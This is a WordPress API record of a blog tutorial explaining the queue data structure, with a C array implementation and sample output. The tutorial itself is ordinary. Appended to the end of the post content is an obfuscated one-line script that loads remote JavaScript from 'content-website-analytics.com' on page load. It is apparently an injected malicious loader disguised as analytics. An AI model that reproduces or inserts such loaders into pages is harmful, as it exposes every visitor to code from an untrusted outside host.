{"id":1003,"date":"2025-11-21T09:00:34","date_gmt":"2025-11-21T03:30:34","guid":{"rendered":"https:\/\/codexplained.in\/?p=1003"},"modified":"2025-11-21T09:00:34","modified_gmt":"2025-11-21T03:30:34","slug":"implementation-using-queue-of-arrays","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1003","title":{"rendered":"Implementation using Queue of Arrays"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">What is a Queue?<\/h3>\n\n\n\n<p>A <strong>Queue<\/strong> is a data structure that works on the <strong>FIFO<\/strong> principle, which stands for <strong>First In, First Out<\/strong>. This means that the first element added to the queue will be the first one to be removed, just like waiting in a line\u2014those who arrive first get served first.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Enqueue<\/strong>: This operation adds an element to the end of the queue.<\/li>\n\n\n\n<li><strong>Dequeue<\/strong>: This operation removes an element from the front of the queue.<\/li>\n\n\n\n<li><strong>Peek\/Front<\/strong>: This operation shows the element at the front of the queue without removing it.<\/li>\n\n\n\n<li><strong>isEmpty<\/strong>: This operation checks if the queue is empty.<\/li>\n\n\n\n<li><strong>isFull<\/strong>: This operation checks if the queue is full.<\/li>\n<\/ul>\n\n\n\n<p>Now, let&#8217;s get into the code implementation using arrays.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Steps for Queue Implementation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Define the Maximum Size<\/strong> of the queue.<\/li>\n\n\n\n<li><strong>Create an Array<\/strong> to store the queue elements.<\/li>\n\n\n\n<li><strong>Initialize Front and Rear<\/strong> pointers.\n<ul class=\"wp-block-list\">\n<li><code>front<\/code> will point to the first element.<\/li>\n\n\n\n<li><code>rear<\/code> will point to the last element.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Implement Enqueue Operation<\/strong>: Add an element to the rear of the queue.<\/li>\n\n\n\n<li><strong>Implement Dequeue Operation<\/strong>: Remove an element from the front of the queue.<\/li>\n\n\n\n<li><strong>Implement Display Operation<\/strong>: Print all the elements of the queue.<\/li>\n\n\n\n<li><strong>Check for Underflow and Overflow<\/strong> conditions:\n<ul class=\"wp-block-list\">\n<li>Queue is full when the rear pointer reaches the maximum size.<\/li>\n\n\n\n<li>Queue is empty when no elements are present, i.e., the front pointer goes beyond the rear.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p>Here\u2019s the C program to implement a Queue using arrays:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n#define MAX 5  \/\/ Define the maximum size of the queue\n\n\/\/ Declare the Queue structure\nstruct Queue {\n    int items&#x5B;MAX];\n    int front;\n    int rear;\n};\n\n\/\/ Function to create an empty queue\nvoid createQueue(struct Queue* q) \n{\n    q-&gt;front = -1;\n    q-&gt;rear = -1;\n}\n\n\/\/ Check if the queue is full\nint isFull(struct Queue* q) \n{\n    if (q-&gt;rear == MAX - 1) \n        return 1;\n    else\n        return 0;\n}\n\n\/\/ Check if the queue is empty\nint isEmpty(struct Queue* q) \n{\n    if (q-&gt;front == -1 || q-&gt;front &gt; q-&gt;rear) \n        return 1;\n    else\n        return 0;\n}\n\n\/\/ Function to add an element to the queue\nvoid enqueue(struct Queue* q, int value) \n{\n    if (isFull(q)) \n{\n        printf(&quot;Queue is Full! Cannot insert %d\\n&quot;, value);\n    } else {\n        if (q-&gt;front == -1) \n{\n            q-&gt;front = 0;  \/\/ Set front to 0 if the queue was empty\n        }\n        q-&gt;rear++;\n        q-&gt;items&#x5B;q-&gt;rear] = value;\n        printf(&quot;Inserted %d into the queue\\n&quot;, value);\n    }\n}\n\n\/\/ Function to remove an element from the queue\nint dequeue(struct Queue* q) \n{\n    int item;\n    if (isEmpty(q)) \n{\n        printf(&quot;Queue is Empty! Nothing to dequeue\\n&quot;);\n        return -1;\n    } \nelse \n{\n        item = q-&gt;items&#x5B;q-&gt;front];\n        q-&gt;front++;\n        if (q-&gt;front &gt; q-&gt;rear)\n{\n            q-&gt;front = q-&gt;rear = -1;  \/\/ Reset the queue when all elements are dequeued\n        }\n        printf(&quot;Removed %d from the queue\\n&quot;, item);\n        return item;\n    }\n}\n\n\/\/ Function to display the queue\nvoid display(struct Queue* q) \n{\n    if (isEmpty(q)) \n{\n        printf(&quot;Queue is empty\\n&quot;);\n    } else \n{\n        printf(&quot;Queue elements are: &quot;);\n        for (int i = q-&gt;front; i &lt;= q-&gt;rear; i++) \n{\n            printf(&quot;%d &quot;, q-&gt;items&#x5B;i]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n}\n\n\/\/ Main function to demonstrate the operations of the queue\nint main() \n{\n    struct Queue q;\n    createQueue(&amp;q);\n    \n    \/\/ Enqueue elements\n    enqueue(&amp;q, 10);\n    enqueue(&amp;q, 20);\n    enqueue(&amp;q, 30);\n    enqueue(&amp;q, 40);\n    enqueue(&amp;q, 50);\n    \n    \/\/ Display queue\n    display(&amp;q);\n    \n    \/\/ Try to enqueue when queue is full\n    enqueue(&amp;q, 60);\n    \n    \/\/ Dequeue elements\n    dequeue(&amp;q);\n    dequeue(&amp;q);\n    \n    \/\/ Display queue after dequeue\n    display(&amp;q);\n    \n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Struct Definition<\/strong>: The <code>Queue<\/code> structure consists of:\n<ul class=\"wp-block-list\">\n<li><code>items[]<\/code>: An array to store the elements of the queue.<\/li>\n\n\n\n<li><code>front<\/code>: Points to the first element in the queue.<\/li>\n\n\n\n<li><code>rear<\/code>: Points to the last element in the queue.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>createQueue()<\/strong>: Initializes the queue with <code>front<\/code> and <code>rear<\/code> set to -1, indicating an empty queue.<\/li>\n\n\n\n<li><strong>isFull()<\/strong>: Checks if the <code>rear<\/code> pointer has reached the maximum size (<code>MAX - 1<\/code>), meaning no more elements can be inserted.<\/li>\n\n\n\n<li><strong>isEmpty()<\/strong>: Checks if the queue is empty by verifying whether the <code>front<\/code> is -1 or greater than <code>rear<\/code>.<\/li>\n\n\n\n<li><strong>enqueue()<\/strong>: Adds a new element to the queue:\n<ul class=\"wp-block-list\">\n<li>First, check if the queue is full.<\/li>\n\n\n\n<li>If not full, increment <code>rear<\/code> and add the element to the <code>items[]<\/code> array.<\/li>\n\n\n\n<li>If it\u2019s the first element being inserted, set <code>front<\/code> to 0.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>dequeue()<\/strong>: Removes an element from the front of the queue:\n<ul class=\"wp-block-list\">\n<li>First, check if the queue is empty.<\/li>\n\n\n\n<li>If not, retrieve the element from <code>items[front]<\/code> and increment <code>front<\/code>.<\/li>\n\n\n\n<li>If all elements are dequeued, reset <code>front<\/code> and <code>rear<\/code> to -1.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>display()<\/strong>: Prints all the elements of the queue from <code>front<\/code> to <code>rear<\/code>.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output:<\/h3>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nInserted 10 into the queue\nInserted 20 into the queue\nInserted 30 into the queue\nInserted 40 into the queue\nInserted 50 into the queue\nQueue elements are: 10 20 30 40 50 \nQueue is Full! Cannot insert 60\nRemoved 10 from the queue\nRemoved 20 from the queue\nQueue elements are: 30 40 50 \n<\/pre><\/div>\n\n\n<p>This code demonstrates a simple queue using arrays and includes boundary checks for overflow (when the queue is full) and underflow (when the queue is empty).<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>What is a Queue? A Queue is a data structure that works on the FIFO principle, which stands for First In, First Out. This means that the first element added to the queue will be the first one to be removed, just like waiting in a line\u2014those who arrive first get served first. Now, let&#8217;s [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1003","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1003","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1003"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1003\/revisions"}],"predecessor-version":[{"id":1276,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1003\/revisions\/1276"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1003"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1003"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1003"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}